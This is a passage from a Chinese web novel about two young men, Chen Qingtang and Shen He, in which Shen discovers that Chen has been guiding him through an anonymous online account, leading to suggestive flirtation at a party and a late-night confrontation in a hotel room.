陈清棠回想着他从浴室里出来时,沈鹤竭力忍耐什么的表情,几乎能断定,沈鹤差不多知道他就是网上那个海棠花了。 楚希翻了个身:“万一他被吓退了怎么办?觉得你太心机,太居心剖测怎么办?” 陈清棠勾起一个笑:“不会。我了解他,你信不信,他只会更爱我。” 沈鹤骨子里,其实也是有些扭曲、变态的,所以稍微极端、偏执的爱,反而会让沈鹤兴奋、愉悦。 反而会让沈鹤感受到,自己在被坚定地选择,感受到被爱。 他们也算是“臭味相投”了。 楚希啧了声:“哟哟哟,你是真了解他啊。” 陈清棠:“不然呢。” 他又没有什么万人迷系统,不是随便抛个媚眼,使个美人计,就会让沈鹤对他死心塌地。 陈清棠钓沈鹤,从来都是对人下药,对症下药,因为了解沈鹤,所以每个钩子都下得恰到好处,从无失手。 楚希:“那他就没有质问你?也没对你说什么?” 陈清棠琢磨着,沈鹤的品格高洁得过分,简直是道德小标兵,应该没有打开他的手机,去检查确认他的马甲。 这种偷窥的事,沈鹤做不来。 所以很大可能,就在今天或者明天,沈鹤会旁敲侧击地试探他一次。 陈清棠:“应该会质问我,只是还没到时候。” 大概就是明天吧。 也许明天他见沈鹤,应该在兜里放几个套。 放三个吧。 之前做的时候,沈鹤最多来两次,怕他身体受不住,两次后就会及时收手。 ‘克制’两个字对沈鹤来说,几乎已经深入骨髓。 楚希若有所思:“那明天我组局,沈鹤来吗?” 陈清棠想了想:“我给他发消息,喊他一下。” 陈清棠:明天楚希组了个局,人多热闹些,你一起来吧 沈鹤秒回:好 陈清棠:到时候我发你地址 沈鹤:好,我这边事情解决了,我们 打到一半,沈鹤停住了,又因为手快,直接把这半截消息发了出去 陈清棠:? 沈鹤:没事,明天见 陈清棠:行 主要是,沈鹤现在背上都还带着被沈父,用铁衣架抽出的血淋淋的伤口。 他需要处理一下。 夏天温度高,万一化脓了怎么办,会有味儿。 陈清棠一贯对气味敏感,会不喜欢的。 而且沈鹤暂时还不想,让陈清棠看见他这样狼狈的一面。 回沈爷爷准备的小别墅前,沈鹤中途去了一趟医院,把伤口处理了下,还拿了点药。 等回到家,沈鹤坐在沙发上,这才拿出手机。 沈鹤点开抖因,开始翻看海棠花这个网友,给他留的所有评论,还有两人的聊天记录。 越看,沈鹤的心口越是有什么在盈盈躁动,宛如正在蓄力将要掀起一场大浪的深海。 这种感觉很奇怪,跟兴奋类似,但又掺杂着不知名的恐慌。 这种恐慌,大概是难以置信——怎么会有人对他这样挖空心思? 看完一遍,已经是半个小时后了。 但沈鹤却又着魔般,不停地看第二遍,第三遍,第四遍…… 沈鹤捏着手机的指关节都泛白,背后盈出一片虚汗 很怪异的是,他的嘴角又是压着笑的,甚至有股很浅淡的疯狂的味道 眼睛就那样死死盯着屏幕 一边贪婪地捕捉着每个字,一边脑子里不断地把跟陈清棠在一起时,相处的点点滴滴都反复回味 像是在品尝什么珍馐 …… 夜已经快要燃到尽头,现在是凌晨四点 夏季一贯天亮得早,窗外的天灰蒙蒙的,大概没多久就会完全亮起 陈清棠都睡醒一觉了,起来上了个厕所,再躺回去发现睡不着了。 他拿起手机,想刷会儿抖因打发时间,等天亮了出去吃点早餐。 结果刚点开那个软件,就看到评论回复那里多了几条信息。 沈鹤:想请教你一个问题 沈鹤:我忽然发现,男朋友一直在钓我,一步步引导我掉进他的陷阱,甚至在我已经爱上他的情况下,他依然在不断地钓我 沈鹤:能帮我分析下,他为什么要这么做吗,他的目的是什么,以及,他对我的爱有几分真 第69章第69章这场爱情是巨大的阴谋…… 陈清棠看着这几句话,指尖漫不经心地轻叩着手机壳,片刻后回复道 海棠花:你觉得呢 海棠花:你觉得他的目的是什么 海棠花:你觉得他为什么要这么做 海棠花:你觉得,他对你的爱,有几分真呢 这个点儿了,沈鹤竟然秒回,估计是枯坐了一夜 沈鹤:我不能确定 沈鹤打字的手指动得飞快,键盘敲击的轻哒声,跟他的心跳混成一片 沈鹤:也许,他很爱我 沈鹤:也许,他很早就在爱我,比我爱他更早 这两条消息发出去后,沈鹤猛地站起身,胸膛不规律地起伏着。 那张平日里如月色般冷感的脸,红得不成样子,眸子也不停地颤动着。 沈鹤:抱歉,我有点自作多情 海棠花:为什么会觉得是你自作多情呢 海棠花:也许就是你想的那样呢 如果只是网友说这个话,沈鹤会觉得对方是在认真给他做分析。 但如今,沈鹤差不多知道这个马甲下是谁了,这些话就变了味儿。 若有若无地带着一股暗示的味儿。 沈鹤呼吸都凝滞了:真的吗 海棠花:你为什么不去当面问他呢 沈鹤:可以去当面问吗 这话问的不是海棠花这个网友,很明显问的是陈清棠。 海棠花:当然可以 沈鹤:那,会不会有不好的后果 沈鹤:会不会影响我跟他的感情 比如,万一陈清棠图的不是他这个人,图的是别的什么,一当面揭穿,陈清棠就想干脆跟他断了怎么办。 沈鹤怕的不是陈清棠图谋他别的,而是怕陈清棠图谋的东西,他拿不出来。 没想到有一天,沈鹤会在意沈家少爷这个身份,庆幸自己拥有许多,大多数人想要的东西,包括钱权,他都能给的出来。 如果是为了陈清棠,沈鹤愿意回家低头认错。 陈清棠一眼看出沈鹤心里在想什么。 沈鹤向来谨慎,做事喜欢思前顾后,这种性格本来是好的,但放在感情上,就显得稍微怯懦了。 爱得越深,越胆小。 陈清棠轻叹一声,给沈鹤吃了一剂强力定心丸。 海棠花:不会 海棠花:我反而觉得,这是你们彻底心意相通的机会 陈清棠像他之前无数次那样,耐心的引导中,放一点甜头,去步步引诱沈鹤 海棠花:你不想知道他到底为什么要钓你吗 海棠花:不想知道,除这件事外,他还有没有别的事在瞒着你吗 海棠花:不想知道,他有几分爱你吗 海棠花:不想彻底跟他心意相通吗,那种滋味有多美妙……你不想体会吗 沈鹤盯着这几行字看了许久,漆黑的眸色一点点染上渴望。 沈鹤:想,很想 沈鹤:不管他图谋我什么,只要他目前对我的爱,有百分之五十是真的,我就很满足 百分之五十,就可以让沈鹤觉得很幸福。 沈鹤其实知道,这并不能满足他,就是因为已经尝到了陈清棠的爱有多美好,所以他总想要更多更多…… 恨不得把陈清棠从里到外都吃干抹净。 但沈鹤又不想让陈清棠觉得他要的太多,心里产生压力。 所以这个话,半真半假,主要是试探一下。 陈清棠忽然心口漫开细密的酸涩,像是吃了一个没熟的橘子。 这个傻子。 陈清棠看透了沈鹤的试探,这次却不想像以前那样去吊着沈鹤。 他想给足沈鹤安全感。 海棠花:也许他对你的爱,有百分之两百呢,甚至百分之一千呢 哐当一声 是沈鹤猛然站起身,结果手机碰在茶几上,从手中滑落在地的声音。 沈鹤胳膊微颤着,从地上去把手机捞起来。 沈鹤:真的?会有吗 海棠花:你自己去看啊,去问他啊 海棠花:你要亲自去撬开他的嘴,剖开他的心去看 海棠花:怎么,不敢? 沈鹤:之前不敢,但现在敢了 陈清棠的话,让沈鹤有了直面一切的底气。 海棠花:那就好 海棠花:不跟你说了,天亮了,我要起床吃早饭了 沈鹤想了下,手指在键盘上缓慢敲出一句话:你是陈清棠吗 但在发出去的前一刻,他又轻吸一口气,飞快地删掉了 新的问题又冒了出来。 陈清棠知道自己掉马了吗? 沈鹤能从刚才的交谈中看出,陈清棠似乎不在乎钓鱼的事被他知晓。 那马甲的事呢? — 两人再次见面,是在楚希组的聚会上。 聚会的地点,就在陈清棠住的那家酒店。 楚希开了间带娱乐设施的套房,里面可以打台球,打麻将,还能K歌。 其余吃的东西,基本都是点的外卖。 主要是考虑到陈清棠不适应外面人多的娱乐场所,味道太混杂了,陈清棠的鼻子会不舒服。 而且就在酒店,大家喝多了,或者暧昧上头,刚好可以就近解决,也方便楚希自己。 沈鹤来的时候,推开门就看见陈清棠一个人坐在窗口的位置,单手撑着脑袋望着窗外。 晚风撩起他的碎发,流畅的侧脸好看得让人失神。 屋里已经来了不少人,大家都围着楚希在嬉闹,嘈杂声一片。 沈鹤快步走过去,挨着陈清棠坐下:“不去玩吗。” 陈清棠这才偏过头,样子懒懒地:“坐会儿。” 陈清棠实际的心理年龄有三十了,他跟这些小年轻玩儿不到一起去,反而觉得有点吵闹。 今天来,主要是给楚希撑场子。 沈鹤:“好,我陪你。” 两人间沉默下来 片刻后,陈清棠余光瞥了他一眼,心说这人真沉得住气:“你没有什么话想跟我聊吗?” 不是要来问他,跟他对峙吗? 沈鹤搁在膝盖上的双手,微微握成拳头:“你想聊天?你想聊什么,我陪你。” 陈清棠:“……不了。” 这人分明是有话说。 他倒要看看,沈鹤能憋多久。 又过了几分钟。 这期间,陈清棠坚决不跟沈鹤说话。 沈鹤看了他好多眼,但就是不开口。 陈清棠拿起手机,背对着沈鹤,正要召唤楚希过来,忽然身前投下一片阴影。 一个清爽的男声在他面前响起:“你好。” 陈清棠抬头,视线里撞进一个帅哥。 浓眉大眼的,帅得属实有点惊艳他,顿了下,才礼貌性地回:“你好。有事吗?” 沈鹤把他的反应看在眼里,脸色霎时就沉了。 男生大大方方的:“方便给个联系方式吗?想加你的微信,**也可以,或者电话号码?” 搭讪都这么说。 对方什么心思,他们三个人都心知肚明。 因为今天来的都是楚希的朋友,陈清棠不能得罪人,那会让楚希难做,所以他只是勉强地笑笑:“不好意思,不太方便。” 沈鹤的脸色缓和了点,但眼里的戒备一点没少。 男生也没想到他这么直接,反而更有兴趣了:“没关系,我们可以先了解一下,要一起坐会儿吗?” 陈清棠还没开口,沈鹤说话了,嗓音略微沉闷:“他没兴趣。” 男生挑眉,看了他一眼:“不好意思,我在跟他说话。” 随后又微笑着望着陈清棠:“可以吗。” 陈清棠能感受到沈鹤的气压在直坠,但这次他却没有安抚。 反而是佯装犹豫地望着那个男生,似乎在考虑。 男生的眼神明显亮了,闪烁着期待。 这更加刺激到了沈鹤。 沈鹤像一匹捍卫领土的狼,忽然当着男生的面,揽住了陈清棠的腰,把他猛地往自己怀里一带。 这个过程,沈鹤的眼神始终很有侵略性地盯着男生。 什么意思已经很明显了。 男生缓缓睁大了眼睛:“你、你们……” 陈清棠柔若无骨地靠在沈鹤怀里,无奈的嗔怪:“你弄疼我了。” 语调温软,更像是在奖励沈鹤,对他撒娇。 就要这样。 陈清棠已经不喜欢有人来搭讪他时,他自己开口把对方赶走了。 既然有男朋友了,这种事就该男朋友做嘛。 陈清棠想要,在每一次有人来搭讪时,沈鹤都理直气壮,占有欲强盛地告诉对方——这是我的人。 从里到外都已经完全属于他沈鹤的人。 沈鹤没出声,仍然用驱赶的眼神看着男生。 最后男生什么都说不出来了,红着脸低头走开。 沈鹤这才缓缓松开陈清棠。 陈清棠坐正后理了理自己歪扭的领口,本以为沈鹤会说什么,沈鹤却始终保持沉默。 脸色比刚才难看了一些。 陈清棠还在想,这个人可真沉得住气。 手机忽然震动下,这是有消息进来了。 陈清棠稍微把手机背对沈鹤,点开看,竟然是抖因消息。 不用猜都知道是谁发的。 陈清棠弯着唇角点开了抖因 沈鹤:昨晚聊的事,我应该什么时候问他 海棠花:这是你自己的事,你为什么要问我呢 沈鹤:怕不是时机 陈清棠忽然有点讨厌沈鹤这种瞻前顾后的性格了。 这也不是时机,那也不是时机。 他都给沈鹤创造了这么好的时机了,还在挑什么? 海棠花:哦 沈鹤看到这个不咸不淡的回复,积压的情绪猛然上头。 他飞快地打字:刚才那个男生很帅吗 陈清棠看到这句话时,脸色微变。 沈鹤这是急了,故意要揭穿他的马甲啊。 如果他回了,那就是承认了。 要回吗? 陈清棠思考了不到两秒 海棠花:还行 当然要回,反正心被搅得更乱的人又不是他。 结果这两个字刚发出去,就听见身旁砰咚一声。 是沈鹤的手机掉了。 沈鹤若无其事地飞快捡起来,却不再看手机,而是目光灼灼地看着陈清棠。 陈清棠好整以暇地问:“怎么了?” 明知故问。 沈鹤却不说话,只是凝视着他,眸色里有什么东西在疯狂翻涌。 如果说昨晚,沈鹤只是猜测海棠花就是陈清棠,哪怕有百分之九十的可能,但剩下的百分之十,仍然让沈鹤不敢确定…… 那现在,那百分之十就彻底被抹杀了。 沈鹤能百分之一百肯定,海棠花就是陈清棠。 所有的一切在脑中飞快闪过。 从海棠花第一次出现,引导他去发现,陈清棠在他心里是特别的 到后面,引导他去确定,陈清棠对他来说很重要 再到后面,蛊惑着他把一颗心都给了陈清棠 不断地催化他对陈清棠的爱意…… 沈鹤爱上陈清棠的过程,从发现自己的喜欢,到确认自己的爱,每一步都有海棠花在从中推动的影子。 每一步,海棠花都在其中扮演着关键的角色。 现在沈终于鹤能完全确定,这份爱情,是场巨大的阴谋。 是专门针对他的一张细密的网,一步一步引诱着他坠落。 如果是正常人,此刻该觉得很生气,觉得自己被耍弄了,真心错付。 沈鹤却觉得兴奋。 兴奋得能清晰地感知到,大脑的神经都在欢快地跃动。 胸口好像有一头小鹿在砰咚乱撞。 有好多话想问陈清棠。 更猛烈的,是一股从昨晚就一直压抑着、心口蹿出的冲动。 让他想立刻把陈清棠摁在身下,狠狠地亲吻,疯狂索取的冲动。 想要验证,陈清棠是否有百分之两百,甚至百分之一千爱他。 是不是跟他一样,爱得不可自拔,心甘情愿地沉沦,乃至迷失自己。 哪怕此刻沈鹤已经知晓答案,但他还是想听陈清棠亲口说。 说爱他,很爱他,爱他爱到无可救药。 一边说一边缠紧他,浑身都渴求他,想要被他的爱意浇灌。 那样的陈清棠,美味得光是想想,沈鹤就快要发疯。 陈清棠不知道沈鹤在想什么。 但他看到沈鹤的眸色里,逐渐弥漫起戾气,眼尾都发红,那是难忍欲望的信号。 好像恨不得现在就扑倒他,撕烂他的衣服,把他干死。 陈清棠微一挑眉。 又发。情了。 掉个马而已,不至于吧。 但既然都到这个份儿上了…… 陈清棠眼波暧昧流转,缓缓凑近沈鹤,在他耳边呢喃着蛊惑: “我房间里备了桃……现在,要过去吗。” 第70章第70章都补给你 听到这话,沈鹤瞬间倒抽一口冷气,周身的气压低沉了好几个度。 那双沉黑的眸子,犹如一座冰峰,将大部分情绪内敛地藏于峰底。 少许不小心泻露出来的侵略性,火花般迸发溅开,烫得陈清棠眼皮一热,瞳孔都微颤了下。 但他很快调整好情绪,继续向沈鹤发出邀请:“要去吗,我房间……就在走廊尽头。” 轻描淡写的嗓音 但每个字都如锋利的刀尖,一下一下剐着沈鹤的神经。 沈鹤不断地掰响手指,安静地凝视他许久,才说:“再等会儿。” 陈清棠懒懒地歪头看他:“还等什么呢。” 沈鹤却不说话了,眸色黑沉一片。 沈鹤能清楚感受到,有什么骇人的东西在胸膛里翻滚,这样可怖的欲望,好像能撕碎一切,几乎要挣脱他的控制。 如果现在跟陈清棠独处……会出事。 沈鹤不能再保证,吊着他的那根名为理智的可怜琴弦,不会被崩断。 陈清棠是那样了解沈鹤,笑着凑过去,凑到他耳边,软语温声:“怕你自控力不够,收不住,会干死我……” 沈鹤瞳孔紧缩,额角的青筋贴着太阳穴狂跳。 对陈清棠偶尔冒出来的那些糙话,沈鹤总是无法招架,耳朵瞬间通红。 更糟糕的是,脑子真的会顺着陈清棠的话,去幻想一些脱离控制的东西。 陈清棠抬起手,饶有趣味地拨弄了下他的耳朵:“安心,我很耐受的。” 沈鹤终于忍无可忍地闭了闭眼,满脸通红地捂住他的嘴:“别说话。” 陈清棠微一挑眉,把他的手从嘴上拿下来:“这可是你说的,等会儿你要听我说你想听的话,那可就得看我心情了。” 沈鹤沉默着。 陈清棠忽然有点怒其不争:“我有时候真的很讨厌你的自控力,比如现在。” 沈鹤:“为什么。” 两人谈话到一半,忽然面前多了道人影。 这次是个染着一头白毛的小帅哥,看起来酷拽酷拽的,站在两人面前,笑眯眯地看着他们:“加个微信呗。” 陈清棠警惕地微眯起眼:“你问谁?” 白毛嘴一努:“你们俩。都长得好帅啊,以前没见过啊,交个朋友认识下呗。” 出来聚会总会经常碰上这种情况,一场局上,老是有人来要联系方式,所以陈清棠才不喜欢参加聚会。 陈清棠淡淡地:“不好意思,不太方便。” 白毛态度礼貌客气:“这样啊,那他呢?” 陈清棠刚要说什么,屋里骤然陷入黑暗。 随即爆发出一阵起哄声。 “咋了?谁把房卡拔了吗?” “是不是停电了啊,但外面的路灯也还亮着啊。” 楚希的声音格外清晰:“估计是酒店这层的电出问题了吧,先等会儿,如果过会儿电没来,我就去找服务员。” 陈清棠感觉一只温热的手,覆盖在了他的手上,拇指带着安抚意味摩挲着他的手背。 沈鹤低声说:“别怕。” 陈清棠偏头只能借着窗外很微弱的月光,看清沈鹤的一点轮廓。 一个恶劣的主意忽然浮上心头。 陈清棠凑近沈鹤,掐住沈鹤的下巴,用只有他们两人才能听到的声音说: “沈鹤,取悦我,失控给我看。” 黑暗里,沈鹤的影子微动。 陈清棠轻咬了下他的耳垂:“我最讨厌你明明想,却强行压着欲望。” “这让我有点挫败,让我感觉,我好像对你没那么大的吸引力。” 沈鹤嗓音微哑:“不是。” 陈清棠挑起他的下巴:“那就失控给我看。” 沈鹤:“我不会。” 陈清棠哼笑一声:“你会。告诉我,有人来搭讪我,你在想什么,又想做什么。” 沈鹤呼吸发沉:“不好的事。” 陈清棠语调缱绻:“那……让我看看有多不好——” 话音还没落下,陈清棠就发不出声了。 他的嘴唇,被一个同样柔软温热的东西堵上了。 屋内仍然一片黑暗,嘈杂的人声还在继续,有人欢笑,有人烦躁,有人唱歌,有人叫骂 不参与这份热闹的人,就安静地待在自己原位玩儿会手机,能看见屋里好几处屏幕亮起微弱的光 沈鹤亲吻了他两秒,准确地说是咬住他的下唇两秒,又克制地分开:“有这么不好。” 说话间的气息都已经乱了。 陈清棠微讶一瞬,很快嘴角一点点勾起笑。 他双手盘上沈鹤的脖颈,小声说:“看见了吗,那个白毛还没走,就坐在我们面前。” 白毛的手机泛着一点亮光,把他的脸微微照亮。 沈鹤:“嗯。” 陈清棠用鼻尖顶着沈鹤的鼻尖厮磨:“等会儿灯光亮起来,你就像刚才那样亲我……就这样告诉他——我是你的。” 宛如野狼圈地一样,在大庭广众下标记他,向潜在的侵犯者,宣布陈清棠这个人的所有权。 沈鹤喉结蠕动:“这样,不好。” 心脏却很诚实地跳得欢快,仿佛在应声赞同。 陈清棠轻笑一声:“但怎么办,我就爱看你为了我没有理智。” 飘忽的蛊惑的嗓音,如一尾有毒的蛇,拖着尾巴从沈鹤心脏上缠绕、爬过。 一时间血液冲头,无法再忍耐,沈鹤掐着他的脖子,低头就吻了下去。 刚巧这时灯光亮起。 白毛刚才看手机入神,这会收起手机想继续搭讪。 结果抬头就看见,他的两个目标人物,正相拥着,吻得难舍难分。 陈清棠的目光变得迷离,他沉沦在沈鹤的霸道里。 而沈鹤的眼神,则是在白毛看向他们第一时间,就冰冷了下去,眼里的戒备和驱赶意味毫不掩饰。 白毛嘶了声,尴尬地转身走了。 沈鹤又亲了一会儿,终于舍得放开陈清棠。 陈清棠就半窝在他怀里,呼吸都还不稳,几分懒怠地问他:“爽吗?” 沈鹤眸色里的情潮未退,不得不承认:“很畅快。” 想做什么就做什么,再也无所顾忌,不用在意任何人的眼光,不用考虑任何道德问题,怎么会不畅快? 陈清棠单手抚上他的脸:“以后有人来搭讪,该怎么做记住了吗?” 沈鹤定定地看着他:“你喜欢我强势?” 陈清棠笑着摇摇头:“我喜欢你释放欲望,做最真实的自己。那样的你很性感~” “而且,让我觉得你很在意我,我会高兴。” 沈鹤咬肌鼓动一瞬:“记住了。” 于是下一刻,沈鹤现学现卖:“我们去你房间吗。” 陈清棠戏谑地看着他:“刚才我邀请你两次,你都不去,现在想去了?” 沈鹤毫不犹豫地点头。 从刚才陈清棠掉马开始,他就一直在忍耐着渴望。 天知道沈鹤忍得多辛苦。 偏偏陈清棠还不断地在撩拨他。 那些阴暗的、沉重的、龌龊的欲望,不断地被沈鹤压下。 又被陈清棠恶劣地挑起,这个反反复复的过程,格外的折磨人。 陈清棠却对着他摇摇头,漫不经心道:“现在我不想去了。” 沈鹤眉心往下压了两寸:“为什么。” 陈清棠:“就是不想去了。除非……” 他余光瞥向沈鹤,发现沈鹤宛如看到骨头的大狗一样,直勾勾地盯着他,不禁眼里浮动起细碎的笑: “除非你能让我心情更好一些,否则今晚,你大概不能如愿以偿。” 陈清棠故意把‘如愿以偿’四个字咬得轻慢,又略微发重,暗示意味儿很明显。 随后补了句:“大概也从我嘴里,听不到你想听的话。” 沈鹤是知道陈清棠有多恶劣的,曾经他无数次体会过,绕是心里早就做好了准备,但此刻还是有几分恨恨: “陈清棠,你真招人恨。” 陈清棠很轻松地笑笑:“谢谢,我还招人爱呢。” “眼前这不就有一个,爱我爱得欲。火焚身,我不跟他去房间,他还急了呢。” 沈鹤目光瞄了周围一圈,发现没人注意到他们,忽然飞快地低头,在陈清棠的唇上,惩罚式的咬了一口。 陈清棠:“唔……狗东西。” 后半场楚希招呼大家一起玩儿点游戏。 陈清棠本来没兴趣,但他看沈鹤宛如头饥饿的狼一样盯着他,就有意拖延,少有地坐到了人群中,跟他们一起玩儿牌。 沈鹤也加入了,就坐在陈清棠身旁。 他们玩儿了一个多小时。 玩什么的时候,如果注意力集中,其他想法都会被压下去,是个很好缓解心火的办法。 但桌底下却有一只脚,时不时若有若无地蹭一下沈鹤的小腿。 甚至偶尔会大胆地在他的大腿根踩一下。 就这么将沈鹤的一颗心,来回拉扯地抛上抛下,残酷得宛如刑法。 沈鹤定力好,一直坐着没动,但耳朵越来越红,脸越来越烫。 只能不住地深呼吸,不停地喝水。 喝完一抬头,看见罪魁祸首正懒洋洋地撑着脑袋,另一只手拿着牌,漫不经心地在算牌。 沈鹤咬着牙,给陈清棠发消息:我们什么时候走 陈清棠的手机就放在桌上,屏幕亮起来时,他扫了一眼,当没看见。 坐在陈清棠另一旁的楚希也看见了,故意说:“哎呀今天玩儿得真开心,都尽兴啊,起码玩儿到十二点再回去,我给大家在酒店开好房了,都不用担心。” 众人齐声应和说好。 就这样又玩儿了一会儿,然后换了游戏,大概是喝酒之类的。 等这场聚会结束时,也到了晚上十一点多。 众人终于要散了。 大家收拾房间准备离开时,沈鹤站起身,把防晒外套拿在手里,巧妙地遮住了某个地方。 陈清棠看见他欲盖弥彰的动作,嘴角压着笑,小声说:“等不及了?” 沈鹤没应声,漆黑的眸子凝视着他。 众人一齐往外走,忽然有个声音叫住了陈清棠。 陈清棠回头一看,周辰正半抱半扶地搂着楚希,微红着脸略微尴尬地看着他:“那个,希希喝醉了,你能不能帮他换衣服和洗漱下?” 沈鹤微蹙起眉。 虽然陈清棠跟楚希是发小,但换衣服这种事还是有点太亲密。 陈清棠看出他的不舒服,却仍然答应了。 跟周辰走之前,他凑近沈鹤耳边:“安心,我有分寸,我过去教教那个傻子,洗好澡等我回来……” 沈鹤摸着口袋里被塞进的房卡,手指触及微冷的塑料面,一颗心又剧烈地砰咚起来。 — 陈清棠跟着周辰回了楚希的房间。 周辰一只手托着楚希的脖颈,另一只手托着楚希的腰,把楚希小心翼翼地放在床上。 那谨慎又怜惜的样子,仿若在对待什么珍宝般。 然后周辰转身局促地看着陈清棠:“那个,后面就麻烦你了。” 陈清棠双手抱臂靠在墙边,打了个哈欠:“麻烦我什么。” 周辰微愣:“不是说好,你帮他换衣服,稍微洗漱下吗。” 陈清棠:“那你呢?你为什么不自己来?” 周辰眼神闪烁着,耳朵微红:“我,我不太方便。” 陈清棠:“你确定要我来?要别人来碰他?” 周辰不知道听进去没有,只木木地点了点头。 陈清棠也点了点头,什么都不再说,走到床边坐下。 他从床头拿出湿巾纸,先是擦了擦楚希的脸,然后把楚希的衬衫扣子解开。 只解开了两颗,怕解开多了,露的多了,周辰就会害羞地跑了。 陈清棠一只手拿着湿巾纸,沿着楚希的侧颈,暧昧又缓慢地往下摩挲,一路滑至肩头。 余光轻瞥周辰一眼,故意说:“希希的皮肤保养得好真好,手感又滑又细……” 配合上他的动作,忽然就有一股轻浮感。 周辰有些烦躁地皱起眉,克制地出声:“你、你别那么弄他。” 陈清棠指腹摩挲着楚希的锁骨,那是一种很色气的摸法:“我是他发小,我摸他两下怎么了。” “等会儿我还要给他换衣服呢,正好看看他发育到什么程度了,跟小时候有什么不一样。” 周辰一面口干舌燥,一面又有些急,但他又不清楚自己在急什么。 繁乱复杂的情绪,像无头苍蝇般找不到出口,只能在屋里转了两圈。 本来是要走的,但一颗心着不到底似的悬着,最终他还是站回了床边。 眼看着陈清棠的手,越来越过界,又解开楚希几颗扣子后,就要往胸膛的敏感部位伸去…… 周辰终于忍不住制止:“别!别碰他那里……” 陈清棠嘴角勾起一点笑,行吧,这个傻子还知道吃醋就好。 他转过头,佯装无辜:“哪里?你说哪里?” 周辰焦躁地挠了挠头,脸色微红:“胸……” 陈清棠不禁发笑:“他还有胸?男人有什么胸,他在我眼里就是没胸的。” 周辰也不知道该怎么说,总之就是他看见陈清棠的手,那样在楚希身上游走,心口闷得很难受。 好像一头被火烧着屁股的狮子,浑身都不对劲儿,甚至起了一点攻击欲。 但明明陈清棠是楚希的发小,比起他来跟楚希更亲密亲近,这种事陈清棠来做最适合的,总比他要适合…… 但,为什么他还会那样不舒服。 陈清棠眼见这把火烧得差不多了,适可而止地停下,再次询问周辰:“你确定还要我继续吗?” “我要脱他衣服和裤子了。” 周辰下意识反应:“别!别……先别……” 陈清棠就看着他低着头,纠结到眉毛都快打结了,这才收起戏弄的心思,直白地点破:“你不想我碰他。” 他收回自己的手,随手撩起床上的被子搭楚希身上。 然后转头看向周辰:“应该说,你不想别人碰他。我说的对吗?” 周辰脸憋得通红,避开眼神不敢看他。 陈清棠眯起眼,审视着这个老实人:“如果喜欢就大大方方,连喜欢都不敢承认的话,那也太没种了。” “如果楚希跟这么没种的一个人在一起,我以后会每天嘲笑他。” 周辰脸色一变,顿时抬起那张英气的脸,目光变得坚定如山:“是,我就是喜欢他。我不想别人碰他。” 话说到一半,他的声气又软了:“但我也没资格碰他……他那么好……” 陈清棠懒得听周辰纠结,他这边还有事没处理完呢,沈鹤还在房间等他。 直接就站起身:“行了,你自己看着办吧,要么就让希希这么睡一晚,他明天起来闻到自己一身酒气,臭得熏天,睡得也不舒服,肯定怪你。” “要么你就叫别的什么人来,帮他洗漱,换衣服。我又不是他妈,也不是他男朋友,我没义务这么管他,拜拜。” 陈清棠表现得非常地冷情,丢下这番话就走了。 门关上前,陈清棠回头看了眼床边,嘴角勾起一个笑。 他只能帮到这里了。 穿过走廊,在走廊的尽头,就是陈清棠的房间。 陈清棠试着拧了下门把手,果然没锁。 推门进去 门打开,陈清棠一眼看见沈鹤正坐在床边。 而且是…… 两只手被绑在一起,很规矩地放在腿上。 见陈清棠回来,沈鹤立刻站起身,顶着一张泛红的脸直勾勾地盯着他。 陈清棠关上门,眼里止不住浮上笑意。 他一步步地走向沈鹤,目光从沈鹤英俊的五官,扫落到莹白的身。体上,嘴角勾起意味深长的弧度。 等走到沈鹤面前,陈清棠掐住沈鹤下巴,让他低头,另一只手搭上沈鹤的胸口,缱绻撩拨地画着圈: “这就是你想出来讨好我,让我心情愉快的办法?” 说话间,食指轻轻拨动了下粉豆,沈鹤立刻微颤了下,咬着牙别开脸:“我没有别的办法了。” 这个法子,还是之前抖音上那个钓系博主教他的。 今晚对沈鹤来说很重要。 他必须要问到他想知道的事,否则将煎熬备至,灵魂都难以安定。 陈清棠贴上他,鼻尖凑近沈鹤的唇旁轻嗅:“喝酒了?” 沈鹤喉结微动:“嗯。” 如果不喝酒,平时的沈鹤,是绝对做不出这种大胆、又极端羞耻的事的。 但沈鹤又想要让陈清棠开心,他深知自己古板的性格,所以在陈清棠回来前,沈鹤给自己灌了很多酒。 喝得直到大脑变得兴奋,能毫无负担地脱了衣服为止。 到今天,沈鹤才知道自己的酒量有多好,他根本喝不醉,酒只能作为他情绪的催化剂,却不能将他灌醉。 陈清棠凑上去,若有似无地贴了下沈鹤的唇:“我承认,你确实取悦到我了。但有一点不对。” 沈鹤呼吸杂乱,想要回吻,却被推开拒绝了:“哪里不对。” 陈清棠笑着退后一步,食指抵着沈鹤的胸膛轻轻一推,把他推倒在了床上,再扯开沈鹤手上的线头,然后把沈鹤的衣服扔到他身上: “穿好,等我洗完澡出来再说。” 陈清棠拿上睡袍,脱掉鞋子,光着脚一步一步走进浴室。 在浴室的门关上前,陈清棠忽然回眸一笑:“组织下语言,想想等会儿到底要问什么,不要说让我不高兴的话,唯独今晚我不想被扫兴。” 沈鹤怔了好一会儿,才接受了陈清棠不喜欢他那样的事实。 他的身。体,对陈清棠没有吸引力吗。 浴室响起水声,没多久就又停了。 沈鹤顾不得那么多了,把衣服穿好。 之前脱的时候都没那么羞耻,现在穿上,反而羞耻心上来了。 穿个衣服把脸也穿红了,耳朵也穿烫了。 又过了半晌 浴室的门开了,陈清棠穿着丝绸睡袍从里面出来,一只手拿着帕子擦着湿漉漉的头发,水色沿着他的脸,滑落到锁骨上,最后没入看不见的旖旎地方 刚洗完澡的陈清棠,简直像一朵出水芙蓉,清丽、娟秀,又不失艳色 好看得沈鹤移不开眼。 陈清棠汲着拖鞋懒慢地走到床边,很随意地挨着沈鹤坐下:“准备好了?” 沈鹤慢倍速点头:“嗯。” 早已经在心里准备了千万次。 但在陈清棠开口前,沈鹤终于还是忍不住问了句:“我刚才那样你不喜欢吗。” 陈清棠看着他这样可爱的反应,忍不住伸手摸上他耳朵:“不。我只是觉得,有些纯爱时刻,还是离性远一点比较好,脑子清醒一点谈比较好。” 他话到一半,语气变得轻飘,暗示意味儿很明显:“等谈得差不多了……你想怎样我都可以。” 陈清棠:“好了开始吧,趁着我心情不错,想知道什么赶紧问。” 沈鹤目光缓而沉地望着他:“什么时候开始钓我的。是五一假期后吗。” 海棠花这个ID,就是那段时间开始出现在他眼前的。 陈清棠懒散地靠在床头,很诚实地坦白,没有掉链子:“从上学期开学第一天,你捡到我学生证那一刻。” 现在已经到了彼此把所有东西,都摊开说明的时候了。 如果再隐瞒,只会为以后的感情埋下地雷。 沈鹤的手顿时攥紧,好几秒后他才点点头:“比我想象中要早很多。” 